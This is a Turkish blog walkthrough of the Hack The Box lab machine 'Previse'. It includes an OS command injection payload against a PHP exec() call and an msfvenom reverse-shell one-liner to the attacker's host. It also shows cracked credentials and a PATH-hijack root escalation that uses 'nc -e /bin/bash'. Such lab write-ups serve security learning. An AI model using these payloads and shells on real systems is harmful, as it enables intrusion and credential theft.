İçeriğe geç

Previse

Tarih: 07/03/2023 | Yazar: kuday
Makine Adı Seviye OS Logo
Previse – HTB Kolay Linux

Walkthrough

nmap

┌──(root㉿MSI)-[/tmp]
└─# nmap -A -F -Pn 10.10.11.104
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 14:04 +03
Nmap scan report for 10.10.11.104
Host is up (0.23s latency).
Not shown: 98 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53ed4440116e8bda698579c081f23a12 (RSA)
|   256 bc5420ac1723bb5020f4e16e620f01b5 (ECDSA)
|_  256 33c189ea5973b1788438a421100c91d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/7%OT=22%CT=7%CU=33011%PV=Y%DS=2%DC=T%G=Y%TM=64071A6E
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11
OS:NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   257.58 ms 10.10.14.1
2   257.69 ms 10.10.11.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.04 seconds

Sayfayı inceledim. Bir login paneli vardı ve ilk başta sqli denedim ancak başarılı olamadım daha sonrasında ffuf ile tarama yapmaya başladım. Bu noktada bulduğum bazı pathler vardı ancak giriş işlemi yapılmadığı için login sayfasına geri döndürüyordu beni. Bu noktada burp’üü açıp daha sonrasında 302 olarak gelen statü kodunu 200 olarak değiştirdim bu sayede aşağıda tespit etmiş olduğum sayfaları görüntüleyebildim.

┌──(root㉿MSI)-[/tmp]
└─# ffuf -u http://10.10.11.104/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.html,.txt -t 100 -c -fs 2801,277

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.104/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Extensions       : .php .html .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 2801,277
________________________________________________

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 337ms]
    * FUZZ: download.php

[Status: 200, Size: 2224, Words: 486, Lines: 54, Duration: 243ms]
    * FUZZ: login.php

[Status: 302, Size: 6076, Words: 1995, Lines: 131, Duration: 331ms]
    * FUZZ: files.php

[Status: 200, Size: 980, Words: 183, Lines: 21, Duration: 306ms]
    * FUZZ: header.php

[Status: 200, Size: 1248, Words: 462, Lines: 32, Duration: 297ms]
    * FUZZ: nav.php

[Status: 200, Size: 217, Words: 10, Lines: 6, Duration: 302ms]
    * FUZZ: footer.php

[Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 305ms]
    * FUZZ: css

[Status: 302, Size: 2970, Words: 749, Lines: 75, Duration: 310ms]
    * FUZZ: status.php

[Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 307ms]
    * FUZZ: js

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 307ms]
    * FUZZ: logout.php

[Status: 302, Size: 3994, Words: 1096, Lines: 94, Duration: 308ms]
    * FUZZ: accounts.php

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 336ms]
    * FUZZ: config.php

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 267ms]
    * FUZZ: logs.php

accounts.php sayfasına girdiğimde kullanıcı oluşturabildiğimi gördüm daha sonrasında bir kullanıcı oluşturdum ve web uygulamasına girdim. files.php sayfasında bir backup dosyasının olduğunu gördüm ve dosyayı indirdiğimde internet sayfasının kodlarını okuma fırsatı buldum tam burda bir os command injection yapabileceğimi farkettim.

┌──(root㉿MSI)-[/tmp/site]
└─# cat logs.php 
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>

BUnun üzerine aşağıdaki gibi bir payload oluştrdum ve daha sonrasında sleep yazıp deneme işşlemi yaptığım payloadda reverse aldım.

POST /logs.php HTTP/1.1
Host: 10.10.11.104
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.104
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.104/file_logs.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=7s7524d85epgm7hicd2jiqscjl
Connection: close

delim=comma; sleep 5;
┌──(root㉿MSI)-[/tmp]
└─# msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.8 LPORT=443
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 360 bytes
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNrLzC3ILypRKM5Pzk4tUQADHQUYKC5NKijKT04tLkaXyS+2BpIZ+cUltkqGBnogZKJnoQQSBJlna2JiDGIX20IM1oNQGlCeo1u8p59rCIZ1ENlgf2fv+OCQIFdHX02wIXrJ+Xl5qcklGhogC9F1gezTBCvML9ZLKS0w0ijWS8vMSc3L19BEV2tApDpDItUZgdUV2CICSi85MSdHQ0k/KTNPPymxOENJEwCtNlsv')[0])))"
msf6 > use exploit/multi/handler                                                                                      
[*] Using configured payload generic/shell_reverse_tcp                                                                
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_python                                                     
payload => cmd/unix/reverse_python                                                                                    
msf6 exploit(multi/handler) > show options                                                                            

Module options (exploit/multi/handler):                                                                               

   Name  Current Setting  Required  Description                                                                       
   ----  ---------------  --------  -----------     

Payload options (cmd/unix/reverse_python):                

   Name   Current Setting  Required  Description                                                                      
   ----   ---------------  --------  -----------                                                                      
   LHOST                   yes       The listen address (an interface may be specified)                               
   LPORT  4444             yes       The listen port       
   SHELL  /bin/bash        yes       The system shell to use.                                                         

Exploit target:          

   Id  Name                                 
   --  ----                                 
   0   Wildcard Target       

View the full module info with the info, or info -d command.                                                          

msf6 exploit(multi/handler) > set LHOST 10.10.14.8
LHOST => 10.10.14.8           
msf6 exploit(multi/handler) > set LPORT 443 
LPORT => 443
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.10.14.8:443 
[*] Command shell session 1 opened (10.10.14.8:443 -> 10.10.11.104:38910) at 2023-03-07 14:11:58 +0300

İD
/bin/bash: line 3: $'\304\260D': command not found
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

İçeri girdiğimde config dosyasını gördüm ve mysql credential’larını okudum. Bağlandım ve credleri aldım.

www-data@previse:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3651
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> use previse;
use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> select * from accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.    | 2021-05-27 18:18:36 |
|  2 | kuday    | $1$🧂llol$ilNRTMD9IWmLVPDmvnN9F. | 2023-03-07 11:00:00 |
+----+----------+------------------------------------+---------------------+

Daha sonrasında bunu kırdım.

┌──(root㉿MSI)-[/tmp]
└─# john --wordlist=test --format=md5crypt-long hash
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovecody112235! (?)     
1g 0:00:00:00 DONE (2023-03-07 15:02) 16.66g/s 150.0p/s 150.0c/s 150.0C/s agmfspkgsf
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

SSH ile bağlantı kurdum ve flag değerini okudum.


┌──(root㉿MSI)-[/tmp]
└─# ssh [email protected]            
The authenticity of host '10.10.11.104 (10.10.11.104)' can't be established.
ED25519 key fingerprint is SHA256:BF5tg2bhcRrrCuaeVQXikjd8BCPxgLsnnwHlaBo3dPs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.104' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Mar  7 12:04:02 UTC 2023

  System load:  0.0               Processes:           196
  Usage of /:   52.0% of 4.85GB   Users logged in:     0
  Memory usage: 31%               IP address for eth0: 10.10.11.104
  Swap usage:   0%

0 updates can be applied immediately.

Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5
m4lwhere@previse:~$ pwd
/home/m4lwhere
m4lwhere@previse:~$ ls
user.txt
m4lwhere@previse:~$ cat user.txt 
e3cffcea46d89982d826d06b907434ed
m4lwhere@previse:~$

Şimdi hak yükseltelim.

┌──(root㉿MSI)-[/tmp]
└─# ssh [email protected]
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Mar  7 20:05:06 UTC 2023

  System load:  0.0               Processes:           196
  Usage of /:   52.0% of 4.85GB   Users logged in:     0
  Memory usage: 31%               IP address for eth0: 10.10.11.104
  Swap usage:   0%

0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Mar  7 12:04:03 2023 from 10.10.14.8
m4lwhere@previse:~$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

Burada securepath olmadığı için PATH Hijacking yapabiliriz.

m4lwhere@previse:/$ cd /tmp
m4lwhere@previse:/tmp$ echo 'nc 10.10.14.8 4444 -e /bin/bash' > gzip
m4lwhere@previse:/tmp$ sudo -l
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
m4lwhere@previse:/tmp$ sudo PATH=$PATH -u root /opt/scripts/access_backup.sh
┌──(root㉿MSI)-[/tmp]
└─# nc -lvp 4444
listening on [any] 4444 ...
10.10.11.104: inverse host lookup failed: Unknown host
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.104] 54258
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
a1e6dbca6319166ec206f5b6853942da
Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir